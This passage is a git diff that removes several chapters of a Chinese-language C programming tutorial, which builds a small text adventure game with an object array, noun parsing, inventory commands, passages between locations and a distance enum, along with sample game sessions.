obj < objs + 5; obj++) -{ - if (obj->location == cave) - { - printf("%s\n", obj->description); - } -} -``` - -::: warning 🤔 暂停理解一下吧 -::: - -那么,我们有合并这个物品(或地点)列表有什么好处呢?答案是这会让我们的代码变得更加简单,因为许多函数(如上面的函数通过这样的列表)只需要扫描单个列表就可以实现,而不是三个列表。有人可能会说没必要,因为每个命令仅适用于一种类型的对象: - -- 命令 *go* 适用于位置对象。 -- 命令 *get* 应用于获得物品。 -- 命令 kill 适应用于杀死人物。 - -但这种方法不太对劲,原因有三: - -1. 某些命令适用于多种类型的对象,尤其是*检查*。 -2. 有时候会出现很没意思的交互方式,比如说你要吃掉守卫,他说不行。 -3. 某些对象在游戏中可能具有多个角色。比如说队友系统,NPC 可以是你的物品也可以是对象 - -将所有对象放在一个大列表中,很容易添加一个名为“type”的属性来*构造对象*,以帮助我们区分不同类型的对象。 - -::: warning 🤔 怎么做怎么遍历呢?先思考吧 -::: - -但是,对象通常具有同样有效的其他特征: - -- **Locations:通过道路连接(将在后面介绍)。如果一个物体无法通过一条通道到达,那么它就不是一个位置。就是这么简单。** -- **Items:玩家唯一可以捡起的物品;可以给他们整一个重量的属性** -- **Actors:玩家唯一可以与之交谈,交易,战斗的对象;当然,前提是他们还活着!可以加一个 HP 属性** - -我们还要向数组中添加一个对象:玩家自己。 - -在上一章中,有一个单独的变量 *locationOfPlayer*。我们将删除它,然后换上用户的位置属性取代他! - -例如,此语句会将玩家移入洞穴: - -```c -player->location = cave; -``` - -此表达式返回玩家当前位置的描述: - -```c -player->location->description -``` - -是时候把它们放在一起了。我们从对象数组的全新模块开始 - -## Object.h - -```c -typedef struct object { - const char *description; - const char *tag; - struct object *location; -} OBJECT; - -extern OBJECT objs[]; - -#define field (objs + 0) -#define cave (objs + 1) -#define silver (objs + 2) -#define gold (objs + 3) -#define guard (objs + 4) -#define player (objs + 5) - -#define endOfObjs (objs + 6) -``` - -## Object.c - -```c -#include -#include "object.h" - -OBJECT objs[] = { - {"an open field", "field" , NULL }, - {"a little cave", "cave" , NULL }, - {"a silver coin", "silver" , field }, - {"a gold coin" , "gold" , cave }, - {"a burly guard", "guard" , field }, - {"yourself" , "yourself", field } -}; -``` - -注意:要编译此模块,编译器*必须*支持 Constant folding。这排除了一些更原始的编译器,如 [Z88DK](http://en.wikipedia.org/wiki/Z88DK)。 - -以下模块将帮助我们找到与指定名词匹配的对象。 - -## noun.h - -```c -extern OBJECT *getVisible(const char *intention, const char *noun); -``` - -::: warning **🤔 指针?函数?希望你已经掌握这是什么了** -::: - -## noun.c - -```c -#include -#include -#include -#include "object.h" - -static bool objectHasTag(OBJECT *obj, const char *noun) -{ - return noun != NULL && *noun != '\0' && strcmp(noun, obj->tag) == 0; -} - -static OBJECT *getObject(const char *noun) -{ - OBJECT *obj, *res = NULL; - for (obj = objs; obj < endOfObjs; obj++) - { - if (objectHasTag(obj, noun)) - { - res = obj; - } - } - return res; -} - -OBJECT *getVisible(const char *intention, const char *noun) -{ - OBJECT *obj = getObject(noun); - if (obj == NULL) - { - printf("I don't understand %s.\n", intention); - } - else if (!(obj == player || - //玩家本人。是的,这也是一个可见的物体。 - obj == player->location || - //玩家的当前位置。 - obj->location == player || - //玩家持有的物品 - obj->location == player->location || - //玩家当前位置的物体 - obj->location == NULL || - //玩家可以去的任意位置,具体完善在后面 - obj->location->location == player || - //玩家持有的另一个物体内的物体 - obj->location->location == player->location)) - //当前位置存在的另一个对象内部的对象 - { - printf("You don't see any %s here.\n", noun); - obj = NULL; - } - return obj; - //感受到注释有多伟大了吧 -} -``` - -这是另一个辅助程序的函数。它打印存在于特定位置的对象(物品,NPC)的列表。它将用于函数 *executeLook*,在下一章中,我们将介绍另一个需要它的命令。 - -## misc.h - -```c -extern int listObjectsAtLocation(OBJECT *location); -``` - -## misc.c - -```c -#include -#include "object.h" - -int listObjectsAtLocation(OBJECT *location) -{ - int count = 0; - OBJECT *obj; - for (obj = objs; obj < endOfObjs; obj++) - { - if (obj != player && obj->location == location) - //排除玩家在玩家的位置这种蠢东西 - { - if (count++ == 0) - //我们需要保证找到一个东西之前他不会打印 you see - { - printf("You see:\n"); - } - printf("%s\n", obj->description); - } - } - return count; - //返回的是数目的数量,下一章对此做额外操作 -} -``` - -在 *location.c* 中,命令环*顾四周的实现*,并根据新的数据结构进行调整。旧的位置数组被删除,变量 *locationOfPlayer* 也是如此。 - -## location.h - -```c -extern void executeLook(const char *noun); -extern void executeGo(const char *noun); -``` - -## location.c - -```c -#include -#include -#include "object.h" -#include "misc.h" -#include "noun.h" - -void executeLook(const char *noun) -{ - if (noun != NULL && strcmp(noun, "around") == 0) - { - printf("You are in %s.\n", player->location->description); - listObjectsAtLocation(player->location); - //显示当前位置的玩家和物品 - } - else - { - printf("I don't understand what you want to see.\n"); - } -} - -void executeGo(const char *noun) -{ -//消除了函数*executeGo*中的循环,代码更优雅了~ - OBJECT *obj = getVisible("where you want to go", noun); - if (obj == NULL) - { - // already handled by getVisible - } - else if (obj->location == NULL && obj != player->location) - { - printf("OK.\n"); - player->location = obj; - executeLook("around"); - } - else - { - printf("You can't get much closer than this.\n"); - } -} -``` - -你可以自由添加对象哦,自己设计一个游戏道具一定很有意思 - -现在金银宝物散落一地可是我们捡不起来,下一章我们会试着解决问题 - -测试样例: - -Welcome to Little Cave Adventure. -You are in an open field. -You see: -a silver coin -a burly guard - ---> go cave -OK. -You are in a little cave. -You see: -a gold coin - ---> go field -OK. -You are in an open field. -You see: -a silver coin -a burly guard - ---> go field -You can't get much closer than this. - ---> look around -You are in an open field. -You see: -a silver coin -a burly guard - ---> quit - -Bye! diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.5.捡起物品.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.5.捡起物品.md deleted file mode 100644 index 574e9de..0000000 --- a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.5.捡起物品.md +++ /dev/null @@ -1,433 +0,0 @@ -# 5.捡起物品 - -在上一章中,我们制作了一个大大大数组来存储所有对象,包括玩家本人。 - -通过将玩家视为对象的一部分,你已经成为了游戏的重要组成部分,而不是以局外人的视角看世界。 - -这种方法的优势在具有玩家角色的游戏中变得最为明显,你可以换人 hhhhh。 - -玩家属性不再需要存储在单独的变量中;我们可以使用与任何其他对象相同的数据结构。所以玩家,作为一个对象必须具有以下特点: - -- 所处位置(我在哪) -- 玩家可能持有的任何物品的位置。 - -这使得某些常见操作非常容易实现: - -|**Action**|**Typical Command**|**Example**| -| ------------------------------ | --------- | ------------------------------------ | -| 玩家从一个位置移动到另一个位置 | go | player->location = cave; | -| 列出某个位置存在的项和参与者 | look | listObjectsAtLocation(cave); | -| 玩家获取物品 | get | silver->location = player; | -| 玩家掉落物品 | drop | silver->location = player->location; | -| 列出玩家的物品栏 | inventory | listObjectsAtLocation(player); | -| 玩家将物品赠送给演员 | give | listObjectsAtLocation(player); | -| 玩家从演员那里收到物品 | ask | silver->location = player; | -| 列出其他演员的库存 | examine | listObjectsAtLocation(guard); | - -你可以尝试去使用这些命令(上面的前两个示例已经在上一章中实现了)。现在,我们将为玩家和非玩家角色介绍一些典型的**物品栏**操作(命令*获取*、*掉落*、*给予*、*询问*和*物品栏*)。 - -::: warning 🤔 思考题: -你能不能尝试自己实现一下上面的命令? - -如果你可以在不参考下面内容的情况下就写出基本内容会有很大收获的 -::: - -## parsexec.c - -```c -#include -#include -#include -#include "location.h" -#include "inventory.h" //这是一个新模块 - -bool parseAndExecute(char *input) -{ - char *verb = strtok(input, " \n"); - char *noun = strtok(NULL, " \n"); - //第二次使用 strtok 要用 NULL 传参 - if (verb != NULL) - { - if (strcmp(verb, "quit") == 0) - { - return false; - } - else if (strcmp(verb, "look") == 0) //使游戏识别上述命令 - { - executeLook(noun); - } - else if (strcmp(verb, "go") == 0) - { - executeGo(noun); - } - else if (strcmp(verb, "get") == 0) - { - executeGet(noun); - } - else if (strcmp(verb, "drop") == 0) - { - executeDrop(noun); - } - else if (strcmp(verb, "give") == 0) - { - executeGive(noun); - } - else if (strcmp(verb, "ask") == 0) - { - executeAsk(noun); - } - else if (strcmp(verb, "inventory") == 0) - { - executeInventory(); - } - else - { - printf("I don't know how to '%s'.\n", verb); - } - } - return true; -} -``` - -新命令由以下模块实现。 - -## inventory.h - -```c -extern void executeGet(const char *noun); -extern void executeDrop(const char *noun); -extern void executeAsk(const char *noun); -extern void executeGive(const char *noun); -extern void executeInventory(void); -``` - -## inventory.c - -```c -#include -#include "object.h" -#include "misc.h" -#include "noun.h" -#include "move.h" - -void executeGet(const char *noun) -{ - OBJECT *obj = getVisible("what you want to get", noun); - if (obj == NULL) - { - // already handled by getVisible - } - else if (obj == player) - { - printf("You should not be doing that to yourself.\n"); - } - else if (obj->location == player) - { - printf("You already have %s.\n", obj->description); - } - else if (obj->location == guard) - { - printf("You should ask %s nicely.\n", obj->location->description); - } - else - { - moveObject(obj, player); - //用于将对象传输到其新位置 - } -} - -void executeDrop(const char *noun) -{ - moveObject(getPossession(player, "drop", noun), player->location); -} - -void executeAsk(const char *noun) -{ - moveObject(getPossession(actorHere(), "ask", noun), player); -} - -void executeGive(const char *noun) -{ - moveObject(getPossession(player, "give", noun), actorHere()); -} - -void executeInventory(void) -{ - if (listObjectsAtLocation(player) == 0) //函数返回值告诉我们有多少个对象 - { - printf("You are empty-handed.\n"); //告诉用户啥也没有 - } -} -``` - -注意:由于动词名词比较好弄,命令 *ask* 和 *give* 只有一个参数:item。 - -::: warning 🤔 思考题: -为什么我们要这样设计? - -你能否为这些命令多加几个参数? -::: - -从本质上讲,*get*, *drop*, *give* and *ask 这些命令*除了将项目从一个地方移动到另一个地方之外,什么都不做。单个函数 *move 对象*可以对所有四个命令执行该操作。 - -## move.h - -```c -extern void moveObject(OBJECT *obj, OBJECT *to); -``` - -## move.c - -```c -#include -#include "object.h" - -static void describeMove(OBJECT *obj, OBJECT *to) //确认移动命令 -{ - if (to == player->location) - { - printf("You drop %s.\n", obj->description); - } - else if (to != player) - { - printf(to == guard ? "You give %s to %s.\n" : "You put %s in %s.\n", - obj->description, to->description); - } - else if (obj->location == player->location) - { - printf("You pick up %s.\n", obj->description); - } - else - { - printf("You get %s from %s.\n", - obj->description, obj->location->description); - } -} - -void moveObject(OBJECT *obj, OBJECT *to) -{ - if (obj == NULL) //不移动的各种条件 - { - // already handled by getVisible or getPossession - } - else if (to == NULL) - { - printf("There is nobody here to give that to.\n"); - } - else if (obj->location == NULL) //有些物体无法拾取,具体识别条件将在后面得到改进 - { - printf("That is way too heavy.\n"); - } - else - { - describeMove(obj, to); - obj->location = to; //移动对象 - } -} -``` - -::: warning 🤔 思考题:识别一些我们拿不了的物品需要考虑什么因素? -::: - -命令“get”使用函数*getVisible*将名词转换为 object,就像命令“go”一样;请参阅上一章。但是对于对玩家(或其他一些参与者)已经持有的对象进行*drop*, *ask*, *give 等*命令时,我们需要稍微不同的东西。我们将在 *noun.c* 中添加一个函数 *getPossession*。 - -## noun.h - -```c -extern OBJECT *getVisible(const char *intention, const char *noun); -extern OBJECT *getPossession(OBJECT *from, const char *verb, const char *noun); -``` - -## noun.c - -```c -#include -#include -#include -#include "object.h" - -static bool objectHasTag(OBJECT *obj, const char *noun) -{ - return noun != NULL && *noun != '\0' && strcmp(noun, obj->tag) == 0; -} - -static OBJECT *getObject(const char *noun) -{ - OBJECT *obj, *res = NULL; - for (obj = objs; obj < endOfObjs; obj++) - { - if (objectHasTag(obj, noun)) - { - res = obj; - } - } - return res; -} - -OBJECT *getVisible(const char *intention, const char *noun) -{ - OBJECT *obj = getObject(noun); - if (obj == NULL) - { - printf("I don't understand %s.\n", intention); - } - else if (!(obj == player || - obj == player->location || - obj->location == player || - obj->location == player->location || - obj->location == NULL || - obj->location->location == player || - obj->location->location == player->location)) - { - printf("You don't see any %s here.\n", noun); - obj = NULL; - } - return obj; -} - -OBJECT *getPossession(OBJECT *from, const char *verb, const char *noun) -{ - OBJECT *obj = NULL; - if (from == NULL) - { - printf("I don't understand who you want to %s.\n", verb); - } - else if ((obj = getObject(noun)) == NULL) - { - printf("I don't understand what you want to %s.\n", verb); - } - else if (obj == from) - { - printf("You should not be doing that to %s.\n", obj->description); - obj = NULL; - } - else if (obj->location != from) - { - if (from == player) - { - printf("You are not holding any %s.\n", noun); - } - else - { - printf("There appears to be no %s you can get from %s.\n", - noun, from->description); - } - obj = NULL; - } - return obj; -} -``` - -注意:新函数(45-75 行) *getPossession* 是 *getObject* 的装饰器(wrapper)(参见第 52 行),它要么返回匹配的对象,要么返回 NULL(如果没有合适的对象与名词匹配)。 - -函数 *actor 这里*用于命令 *give* 和 *ask*,但它也可能由其他命令调用。所以我们在*misc.c*中定义了它。 - -## misc.h - -```c -extern OBJECT *actorHere(void); -extern int listObjectsAtLocation(OBJECT *location); -``` - -## misc.c - -```c -#include -#include "object.h" - -OBJECT *actorHere(void) -{ - OBJECT *obj; - for (obj = objs; obj < endOfObjs; obj++) - { - if (obj->location == player->location && obj == guard) - { - return obj; - } - } - return NULL; -} - -int listObjectsAtLocation(OBJECT *location) -{ - int count = 0; - OBJECT *obj; - for (obj = objs; obj < endOfObjs; obj++) - { - if (obj != player && obj->location == location) - { - if (count++ == 0) - { - printf("You see:\n"); - } - printf("%s\n", obj->description); - } - } - return count; -} -``` - -::: warning 🤔 思考题:上面第四行中的函数 actorHere 返回的指针指向什么? -::: - -在第 9 行中,有一个详尽的,硬编码的非玩家角色列表(到目前为止,只有一个:*守卫*)。 - -在第 10 章中,我们将开始使用属性作为区分角色与项目和其他非参与者对象的更优雅方式。 - -测试样例 - -Welcome to Little Cave Adventure. -You are in an open field. -You see: -a silver coin -a burly guard - ---> get silver -You pick up a silver coin. - ---> inventory -You see: -a silver coin - ---> look around -You are in an open field. -You see: -a burly guard - ---> give silver -You give a silver coin to a burly guard. - ---> inventory -You are empty-handed. - ---> ask silver -You get a silver coin from a burly guard. - ---> inventory -You see: -a silver coin - ---> go cave -OK. -You are in a little cave. -You see: -a gold coin - ---> give silver -There is nobody here to give that to. - ---> drop silver -You drop a silver coin. - ---> look around -You are in a little cave. -You see: -a silver coin -a gold coin - ---> inventory -You are empty-handed. - ---> quit - -Bye! diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.6.绘制地图.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.6.绘制地图.md deleted file mode 100644 index 070cc33..0000000 --- a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.6.绘制地图.md +++ /dev/null @@ -1,338 +0,0 @@ -# 6.绘制地图 - -作为一个 RPG 游戏怎么能没有地图呢,*是时候绘制地图了!* - -绘制地图的最佳工具始终是:一支铅笔和一张纸。基本地图由**位置**(矩形)组成,由道路(箭头)连接。我们已经在第 3 章中创建了位置,现在我们将开始添加道路。 - -在虚拟世界中,“道路”可能是连接两个位置的任何东西:一条路,一扇门,沙漠中。基本上,一段经文具有以下属性: - -- 起点(位置)。 -- 目标(位置)。 -- 叙述性描述,例如“森林小径”。 -- 在 *go* 命令中往哪里走的描述性标记 - -考虑到这些属性,第 4 章中定义的结构对象就非常适合存储道路了。事实上,一个道路与一个项目或 NPC 并没有太大的不同,它作为“可见出口”存在于某个位置(该位置是起点)。它只是与某些命令的行为不同,特别是命令“go”:应用于道路,*go*将改变玩家的位置。 - -```c -struct object { - const char *description; - const char *tag; - struct object *location; - struct object *destination; -}; -``` - -注意: - -- 显然,*目的地*在大多数其他对象(物品,NPC)中都没有使用 -- 通道总是朝一个方向运行;要双向连接两个位置,我们总是必须创建两个单独的通道。乍一看,这似乎很笨拙,但它确实给了我们很大的灵活性来完善命令“go”的行为 -- 在大地图上,你可能会发现手动创建所有通道很乏味。所以,我强烈建议你使用自定义工具*生成*地图中重复性更强的部分。这里不会介绍这一点,但您可能会在第 9 章中找到一些灵感,我们将在其中讨论自动胜场。 - -::: warning 🤔 思考题:为什么创建两个通道可以使我们的程序更加灵活? -::: - -接下来我们将展开对象数组 - -## object.h - -```c -typedef struct object { - const char *description; - const char *tag; - struct object *location; - struct object *destination; -} OBJECT; - -extern OBJECT objs[]; - -#define field (objs + 0) //是不是觉得这个很熟悉 -#define cave (objs + 1) -#define silver (objs + 2) -#define gold (objs + 3) -#define guard (objs + 4) -#define player (objs + 5) -#define intoCave (objs + 6) -#define exitCave (objs + 7) - -#define endOfObjs (objs + 8) -``` - -## object.c - -```c -#include -#include "object.h" - -OBJECT objs[] = { - {"an open field" , "field" , NULL , NULL }, - {"a little cave" , "cave" , NULL , NULL }, - {"a silver coin" , "silver" , field, NULL }, - {"a gold coin" , "gold" , cave , NULL }, - {"a burly guard" , "guard" , field, NULL }, - {"yourself" , "yourself", field, NULL }, - {"a cave entrance", "entrance", field, cave }, - {"an exit" , "exit" , cave , field } -}; -``` - -我们将在 *misc.c* 中添加一个小的帮助函数,以确定两个给定位置之间是否存在通道。 - -## misc.h - -```c -extern OBJECT *getPassage(OBJECT *from, OBJECT *to); -extern OBJECT *actorHere(void); -extern int listObjectsAtLocation(OBJECT *location); -``` - -## misc.c - -```c -#include -#include "object.h" - -OBJECT *getPassage(OBJECT *from, OBJECT *to) -{ - if (from != NULL && to != NULL) - { - OBJECT *obj; - for (obj = objs; obj < endOfObjs; obj++) //寻找物品之间是否具有通道 - { - if (obj->location == from && obj->destination == to) - { - return obj; //找到了 - } - } - } - return NULL;//找不到 -} - -OBJECT *actorHere(void) -{ - OBJECT *obj; - for (obj = objs; obj < endOfObjs; obj++) - { - if (obj->location == player->location && obj == guard) - { - return obj; - } - } - return NULL; -} - -int listObjectsAtLocation(OBJECT *location) -{ - int count = 0; - OBJECT *obj; - for (obj = objs; obj < endOfObjs; obj++) - { - if (obj != player && obj->location == location) - { - if (count++ == 0) - { - printf("You see:\n"); - } - printf("%s\n", obj->description); - } - } - return count; -} -``` - -我们将在命令“go”的实现中使用新功能*getPassage*来确定是否存在可以将玩家带到所需位置的通道。 - -## location.h - -```c -extern void executeLook(const char *noun); -extern void executeGo(const char *noun); -``` - -## location.c - -```c -#include -#include -#include "object.h" -#include "misc.h" -#include "noun.h" - -void executeLook(const char *noun) -{ - if (noun != NULL && strcmp(noun, "around") == 0) - { - printf("You are in %s.\n", player->location->description); - listObjectsAtLocation(player->location); - } - else - { - printf("I don't understand what you want to see.\n"); - } -} - -void executeGo(const char *noun) -{ - OBJECT *obj = getVisible("where you want to go", noun); - if (obj == NULL) - { - // already handled by getVisible - } - else if (getPassage(player->location, obj) != NULL) - //go 只会在有地方的时候才会运行起来 - { - printf("OK.\n"); - player->location = obj; - executeLook("around"); - } - else if (obj->location != player->location) - { - printf("You don't see any %s here.\n", noun); - } - else if (obj->destination != NULL) - { - printf("OK.\n"); - player->location = obj->destination; - executeLook("around"); - } - else - { - printf("You can't get much closer than this.\n"); - } -} -``` - -我们还将使用新功能*getPassage*来确定从玩家站立的位置是否可以看到某个位置。未通过通道连接到当前位置的位置不被视为可见。 - -## noun.h - -```c -extern OBJECT *getVisible(const char *intention, const char *noun); -extern OBJECT *getPossession(OBJECT *from, const char *verb, const char *noun); -``` - -## noun.c - -```c -#include -#include -#include -#include "object.h" -#include "misc.h" - -static bool objectHasTag(OBJECT *obj, const char *noun) -{ - return noun != NULL && *noun != '\0' && strcmp(noun, obj->tag) == 0; -} - -static OBJECT *getObject(const char *noun) -{ - OBJECT *obj, *res = NULL; - for (obj = objs; obj < endOfObjs; obj++) - { - if (objectHasTag(obj, noun)) - { - res = obj; - } - } - return res; -} - -OBJECT *getVisible(const char *intention, const char *noun) -{ - OBJECT *obj = getObject(noun); - - if (obj == NULL) - { - printf("I don't understand %s.\n", intention); - } - else if (!(obj == player || - obj == player->location || - obj->location == player || - obj->location == player->location || - getPassage(player->location, obj) != NULL || //检查两个位置是否相邻 - (obj->location != NULL && - (obj->location->location == player || - obj->location->location == player->location)))) - { - printf("You don't see any %s here.\n", noun); - obj = NULL; - } - return obj; -} - -OBJECT *getPossession(OBJECT *from, const char *verb, const char *noun) -{ - OBJECT *obj = NULL; - if (from == NULL) - { - printf("I don't understand who you want to %s.\n", verb); - } - else if ((obj = getObject(noun)) == NULL) - { - printf("I don't understand what you want to %s.\n", verb); - } - else if (obj == from) - { - printf("You should not be doing that to %s.\n", obj->description); - obj = NULL; - } - else if (obj->location != from) - { - if (from == player) - { - printf("You are not holding any %s.\n", noun); - } - else - { - printf("There appears to be no %s you can get from %s.\n", - noun, from->description); - } - obj = NULL; - } - return obj; -} -``` - -显然,此示例中的地图是微不足道的:只有两个位置,并且它们在两个方向上都连接在一起。第 12 章将增加第三个地点。 - -::: warning 🤔 思考题: -你能否绘制一张更精细的地图,并将其变成对象列表(位置和通道) - -注:不用当成任务,自行实验即可 - -::: - -输出样例 - -Welcome to Little Cave Adventure. -You are in an open field. -You see: -a silver coin -a burly guard -a cave entrance - ---> go entrance -OK. -You are in a little cave. -You see: -a gold coin -an exit - ---> go exit -OK. -You are in an open field. -You see: -a silver coin -a burly guard -a cave entrance - ---> go cave -OK. -You are in a little cave. -You see: -a gold coin -an exit - ---> quit - -Bye! diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.7.增大距离.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.7.增大距离.md deleted file mode 100644 index 08b99fb..0000000 --- a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.7.增大距离.md +++ /dev/null @@ -1,510 +0,0 @@ -# 7.增大距离 - -*一个典型的冒险包含许多谜题。众所周知,[Infocom](https://en.wikipedia.org/wiki/Infocom)的冒险很难完成。解决每个难题可能需要数周甚至数月的反复试验。* - -*当玩家操纵角色失败后,如果只是返回“你不能这么操作”来回应玩家,会很 nt,很没意思。* - -*它忽略了电脑游戏的一个重要方面,而这也是生活本身的一部分:玩家必须从错误中吸取教训。* - -当你的游戏反复输入东西都是,你不能这样做的时候,会显得很无聊的。 - -*冒险游戏至少应该做的是解释为什么玩家的命令无法完成:“你不能这样做,因为......”这有助于使虚拟世界更具说服力,故事更可信,游戏更有趣。* - -我们已经付出了相当大的努力让游戏解释**为什么**某些命令是无效的。只需看看*名词.c,inventory.c,location.c*,*move.c*中的许多*printf*调用。但随着游戏变得越来越复杂,这正成为一个相当大的负担。我们需要一种更结构化的方法来检测和处理错误情况。这就是我们在本章中将要讨论的内容。 - -大多数命令对一个或多个对象进行操作,例如: - -- 玩家拿起一件物品,然后把它交给另一个 NPC。 -- 玩家沿着一条通道到另一个位置。 - -首先要检查的(在[解析器](http://en.wikipedia.org/wiki/Parsing)捕获检测是否会有明显[拼写错误](http://en.wikipedia.org/wiki/Typographical_error)之后)是这些对象**是否存在**; - -失败应该导致类似“这里没有...“或”你看不到任何东西...”等文字出现。在本章中,我们将构建一个通用函数,每个命令都可以使用它来找出玩家是否在可及的范围内。 - -你可能认为我们只需要区分两种情况:对象在这里,或者它不在这里。 - -但是许多命令需要更多的渐变,而不仅仅是“这里”和“不在这里”。例子: - -- 要使用武器或工具,玩家必须持有它;仅仅在现场存在是不够的。 -- 你不能放下一个你没拿起来的道具,也不能拿起一个已经有的东西 -- 如果你跟商人买东西的时候,他店里东西你不能随便拿 - -| distSelf | 对象是玩家 | object == player | -| ----------------- | -------------------------------------------------------------- | ------------------------------------------------------------------------------ | -| distHeld | 玩家持有物体 | object->location == player | -| distHeldContained | 玩家拿着另一个包含该物体的物体(例如袋子) | object->location != NULL &&
object->location->location == player | -| distLocation | 对象是玩家的位置 | object == player->location | -| distHere | 对象位于玩家的位置 | object->location == player->location | -| distHereContained | 一个物体(NPC 或“容器”)存在于玩家的位置,正在拿着另一个物体 | object->location != NULL &&
object->location->location == player->location | -| distOverthere | 对象是附近的位置 | getPassage(player->location, object) != NULL | - -第一种情况(对象是玩家)可能看起来微不足道,但它仍然很重要。例如,命令“examine yourself”*不应该*返回“这里没有你自己”。 - -我试图遵循一个逻辑顺序:附近的事物最高优先级,随后优先级会变低。 - -| distNotHere | 对象不在这里(或看起来)不在这里 | | -| ----------------- | -------------------------------- | -------------- | -| distUnknownObject | 解析器无法识别输入的名词 | object == NULL | - -请注意,我们有七种不同的“这里”案例,但只有一种是“不在这里”。这是因为通常,游戏只需要提供有关玩家可以感知的事物的信息。如果它不在这里,那么就没什么可说的了。 - -在最左边的列中,我们为每个案例提出了一个符号名称。我们将在名为 **DISTANCE** 的[枚举](http://en.wikipedia.org/wiki/Enumerated_type)中收集这些名称。 - -```c -typedef enum { - distSelf, - distHeld, - distHeldContained, - distLocation, - distHere, - distHereContained, - distOverthere, - distNotHere, - distUnknownObject -} DISTANCE; -``` - -::: warning 💡 typedef 以及枚举类 enum 之前有接触过吗?没有接触过的话就去学习一下吧。 -::: - -在最右边的列中,我们为每个情况提出了一个满足条件。通过一些重新洗牌,我们可以很容易地将其转换为计算对象“距离”的函数(从玩家的角度来看): - -```c -DISTANCE getDistance(OBJECT *from, OBJECT *to) -{ - return to == NULL ? distUnknownObject : - to == from ? distSelf : - to->location == from ? distHeld : - to == from->location ? distLocation : - to->location == from->location ? distHere : - getPassage(from->location, to) != NULL ? distOverthere : - to->location == NULL ? distNotHere : - to->location->location == from ? distHeldContained : - to->location->location == from->location ? distHereContained : - distNotHere; -} -``` - -::: warning 🤔 思考题: -你是否有其他方法实现这个功能? - -注:自行实验即可 -::: - -就这样!我们可以调用此函数并对其返回值进行比较。例如,我们在 noun*.c*中有以下代码: - -```c -else if (!(obj == player || - obj == player->location || - obj->location == player || - obj->location == player->location || - getPassage(player->location, obj) != NULL || - (obj->location != NULL && - (obj->location->location == player || - obj->location->location == player->location)))) -``` - -现在,我们可以用适当的距离检查替换每个子条件: - -```c -else if (!(getDistance(player, obj) == distSelf || - getDistance(player, obj) == distLocation || - getDistance(player, obj) == distHeld || - getDistance(player, obj) == distHere || - getDistance(player, obj) == distOverthere || - getDistance(player, obj) == distHeldContained || - getDistance(player, obj) == distHereContained)) -``` - -这可以简化为: - -```c -else if (getDistance(player, obj) >= distNotHere) -``` - -::: warning 🤔 尝试理解一下这样做的意义 -::: - -这只是一个例子,让你对这个概念有所了解;您将在下面找到*noun.c*的实际实现,看起来略有不同。 - -是时候把事情落实到位了。枚举 *DISTANCE* 和函数 *getDistance* 的定义被添加到 *misc.h* 和 *misc.c* 中,因为我们将在多个模块中使用它们。 - -## misc.h - -```c -typedef enum { - distSelf, - distHeld, - distHeldContained, - distLocation, - distHere, - distHereContained, - distOverthere, - distNotHere, - distUnknownObject -} DISTANCE; - -extern bool isHolding(OBJECT *container, OBJECT *obj); - //是否持有物体 -extern OBJECT *getPassage(OBJECT *from, OBJECT *to); - //获取通道 -extern DISTANCE getDistance(OBJECT *from, OBJECT *to); - //计算距离 -extern OBJECT *actorHere(void); -extern int listObjectsAtLocation(OBJECT *location); -``` - -## misc.c - -```c -#include -#include -#include "object.h" -#include "misc.h" - -bool isHolding(OBJECT *container, OBJECT *obj) -{ - return obj != NULL && obj->location == container; -} - -OBJECT *getPassage(OBJECT *from, OBJECT *to) -{ - if (from != NULL && to != NULL) - { - OBJECT *obj; - for (obj = objs; obj < endOfObjs; obj++) - { - if (isHolding(from, obj) && obj->destination == to) - { - return obj; - } - } - } - return NULL; -} - -DISTANCE getDistance(OBJECT *from, OBJECT *to) -{ - return to == NULL ? distUnknownObject : - to == from ? distSelf : - isHolding(from, to) ? distHeld : - isHolding(to, from) ? distLocation : - isHolding(from->location, to) ? distHere : - isHolding(from, to->location) ? distHeldContained : - isHolding(from->location, to->location) ? distHereContained : - getPassage(from->location, to) != NULL ? distOverthere : - distNotHere; -} - -OBJECT *actorHere(void) -{ - OBJECT *obj; - for (obj = objs; obj < endOfObjs; obj++) - { - if (isHolding(player->location, obj) && obj == guard) - { - return obj; - } - } - return NULL; -} - -int listObjectsAtLocation(OBJECT *location) -{ - int count = 0; - OBJECT *obj; - for (obj = objs; obj < endOfObjs; obj++) - { - if (obj != player && isHolding(location, obj)) - { - if (count++ == 0) - { - printf("You see:\n"); - } - printf("%s\n", obj->description); - } - } - return count; -} -``` - -注意:isHolding 这个函数之后我们将在各个地方使用 - -## location.h - -```c -extern void executeLook(const char *noun); -extern void executeGo(const char *noun); -``` - -在函数 *executeGo* 中,我们可以用检查距离来替换大多数 *if* 条件。 - -## location.c - -```c -#include -#include -#include -#include "object.h" -#include "misc.h" -#include "noun.h" - -void executeLook(const char *noun) -{ - if (noun != NULL && strcmp(noun, "around") == 0) - { - printf("You are in %s.\n", player->location->description); - listObjectsAtLocation(player->location); - } - else - { - printf("I don't understand what you want to see.\n"); - } -} - -void executeGo(const char *noun) -{ - OBJECT *obj = getVisible("where you want to go", noun); - switch (getDistance(player, obj)) - { - case distOverthere: - printf("OK.\n"); - player->location = obj; - executeLook("around"); - break; - case distNotHere: - printf("You don't see any %s here.\n", noun); - break; - case distUnknownObject: - // already handled by getVisible - break; - default: - //上述情况均为出现 - if (obj->destination != NULL) - { - printf("OK.\n"); - player->location = obj->destination; - executeLook("around"); - } - else - { - printf("You can't get much closer than this.\n"); - } - } -} -``` - -::: warning 🤔 思考题:你能否为 switch 函数增加更多 case 来完善判断条件? -::: - -函数 *executeGet* 也是如此。 - -## **inventory.h** - -```c -extern void executeGet(const char *noun); -extern void executeDrop(const char *noun); -extern void executeAsk(const char *noun); -extern void executeGive(const char *noun); -extern void executeInventory(void); -``` - -## **inventory.c** - -```c -#include -#include -#include "object.h" -#include "misc.h" -#include "noun.h" -#include "move.h" - -void executeGet(const char *noun) -{ - OBJECT *obj = getVisible("what you want to get", noun); - switch (getDistance(player, obj)) - { - case distSelf: - printf("You should not be doing that to yourself.\n"); - break; - case distHeld: - printf("You already have %s.\n", obj->description); - break; 